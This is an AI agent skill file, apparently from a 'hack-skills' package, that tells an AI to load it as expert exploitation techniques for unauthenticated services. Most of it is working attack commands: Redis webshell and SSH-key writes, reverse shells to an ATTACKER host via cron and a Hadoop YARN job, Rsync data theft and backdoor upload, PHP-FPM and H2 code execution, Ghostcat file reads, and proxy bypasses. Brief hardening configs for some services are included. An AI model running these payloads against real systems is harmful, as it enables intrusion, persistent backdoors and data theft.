npx skills add ...
npx skills add yaklang/hack-skills --skill unauthorized-access-common-services
Unauthorized access playbook for common exposed services. Use when Redis, Rsync, PHP-FPM, AJP/Ghostcat, Hadoop YARN, H2 Console, or similar management interfaces are exposed without authentication.
npx skills add yaklang/hack-skills --skill unauthorized-access-common-services
AI LOAD INSTRUCTION: Expert techniques for exploiting unauthenticated or weakly authenticated management services. Covers Redis write-to-RCE, Rsync data theft, PHP-FPM code execution, Ghostcat AJP file read, Hadoop YARN job submission, and H2 Console JNDI. These are infrastructure-level findings distinct from web application vulnerabilities.
Also load PORT_SERVICE_MATRIX.md when you need:
Use redis-rogue-server to exploit master-slave replication for loading malicious .so module:
PHP-FPM listens for FastCGI requests. If exposed to the network (instead of Unix socket), an attacker can send crafted FastCGI packets to execute arbitrary PHP code.
Apache JServ Protocol (AJP) is used between reverse proxy and Tomcat. AJP trusts all incoming data — an attacker connecting directly can set javax.servlet.include.request_uri to read arbitrary files from the webapp directory.
If a file upload exists (e.g., uploaded JSP disguised as image), AJP can include it as JSP:
Enable Kerberos authentication; restrict network access to management ports.
H2 Console is often enabled in Spring Boot apps via:
Access: http://TARGET:PORT/h2-console
In the H2 Console login form, the JDBC URL field accepts JNDI.
BeanFactory + EL bypass (works on Java 8u252+):
Also see jndi-injection for the full JNDI/BeanFactory exploitation flow.
yandex/gixy — Nginx configuration analyzerRaelize/Kyubi — Reverse proxy misconfiguration scannerGerbenJavado/bypass-url-parser — URL parser confusion testerredis-cli -h TARGET ping
# Response: PONG = unauthenticated access confirmed
redis-cli -h TARGET INFO server
# Returns Redis version, OS, config# Generate key pair:
ssh-keygen -t rsa -f redis_rsa
# Write public key to Redis, then dump to authorized_keys:
cat redis_rsa.pub | redis-cli -h TARGET -x set ssh_key
redis-cli -h TARGET config set dir /root/.ssh
redis-cli -h TARGET config set dbfilename authorized_keys
redis-cli -h TARGET save
# Connect:
ssh -i redis_rsa root@TARGETredis-cli -h TARGET
> set x "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1\n\n"
> config set dir /var/spool/cron/
> config set dbfilename root
> saveredis-cli -h TARGET
> set webshell "<?php system($_GET['cmd']); ?>"
> config set dir /var/www/html/
> config set dbfilename shell.php
> save
# Access: http://TARGET/shell.php?cmd=idpython3 redis-rogue-server.py --rhost TARGET --lhost ATTACKER
# Loads module via SLAVEOF → MODULE LOAD → system.execrequirepass STRONG_PASSWORD
bind 127.0.0.1
protected-mode yes
rename-command CONFIG ""
rename-command FLUSHALL ""rsync TARGET::
# Lists available modules (shares) if anonymous access allowed
rsync -av TARGET::MODULE_NAME /tmp/loot/
# Download entire module contents# Create reverse shell cron:
echo '*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/evil_cron
# Upload to target's crontab (if writable module maps to /etc/ or similar):
rsync -av /tmp/evil_cron TARGET::MODULE/cron.d/backdoor# /etc/rsyncd.conf:
auth users = rsync_user
secrets file = /etc/rsyncd.secrets
list = no
hosts allow = 10.0.0.0/8
read only = yes# Using fcgi_exp or similar tool:
python3 fpm.py TARGET 9000 /var/www/html/index.php -c "<?php system('id'); ?>"
# Key parameters in FastCGI request:
# SCRIPT_FILENAME = path to any existing .php file
# PHP_VALUE = "auto_prepend_file = php://input" (injects POST body as PHP code)
# PHP_ADMIN_VALUE = "allow_url_include = On"SCRIPT_FILENAME = /var/www/html/index.php # must point to an existing .php file
PHP_VALUE = auto_prepend_file = php://input # injects POST body as PHP code
PHP_ADMIN_VALUE = allow_url_include = On # enables remote inclusiongopher://TARGET:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00...
# Encoded FastCGI packet
# Tool: Gopherus generates the gopher:// URL
python3 gopherus.py --exploit fastcgi; php-fpm.conf — bind to socket only:
listen = /var/run/php-fpm.sock
; If TCP required, restrict:
listen.allowed_clients = 127.0.0.1# Using ajpShooter or similar:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# Reads any file within the webapp root:
# /WEB-INF/web.xml — deployment descriptor
# /WEB-INF/classes/*.class — compiled Java classes
# /WEB-INF/lib/*.jar — library JARspython3 ajpShooter.py TARGET 8009 /uploaded_avatar.txt eval
# If the file contains JSP code, it gets executed<!-- server.xml — disable AJP or add secret: -->
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="STRONG_SECRET"/>
<!-- Or remove the AJP connector entirely -->curl http://TARGET:8088/cluster
# If accessible → unauthenticated YARN ResourceManager UI# Submit a MapReduce application that executes a command:
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# Returns: {"application-id":"application_xxx_0001"}
curl -s -X POST http://TARGET:8088/ws/v1/cluster/apps \
-H "Content-Type: application/json" \
-d '{
"application-id": "application_xxx_0001",
"application-name": "test",
"am-container-spec": {
"commands": {"command": "/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}
},
"application-type": "YARN"
}'spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true# JDBC URL in login form:
javax.naming.InitialContext
# LDAP response attributes:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "ok"; }';
CALL EXEC('id');# Redis — check auth:
redis-cli -h TARGET ping
# Redis — write webshell:
SET x "<?php system($_GET['c']);?>"
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SAVE
# Rsync — list modules:
rsync TARGET::
# Ghostcat — read web.xml:
python3 ajpShooter.py TARGET 8009 /WEB-INF/web.xml read
# YARN — submit RCE job:
curl -X POST http://TARGET:8088/ws/v1/cluster/apps/new-application
# H2 — RCE via alias:
CREATE ALIAS EXEC AS '...Runtime.exec...'; CALL EXEC('id');# Vulnerable configuration:
location /static {
alias /var/www/static/;
}
# Access: /static../etc/passwd → resolves to /var/www/etc/passwd
# The missing trailing slash on location causes path traversal
# Fix: location /static/ (with trailing slash matching alias)# If no root location defined and alias is used:
# Attacker may access nginx.conf or other server files
GET /..%2f..%2fetc/nginx/nginx.conf HTTP/1.1# If backend trusts these headers for IP-based auth:
GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
# May bypass IP whitelist for admin panels# Caddy with templates enabled:
# If user input reaches Caddy template rendering:
{{.Req.Host}} → Information disclosure
{{readFile "/etc/passwd"}} → Local file read via Go template
# This is essentially a Go template injection through proxy config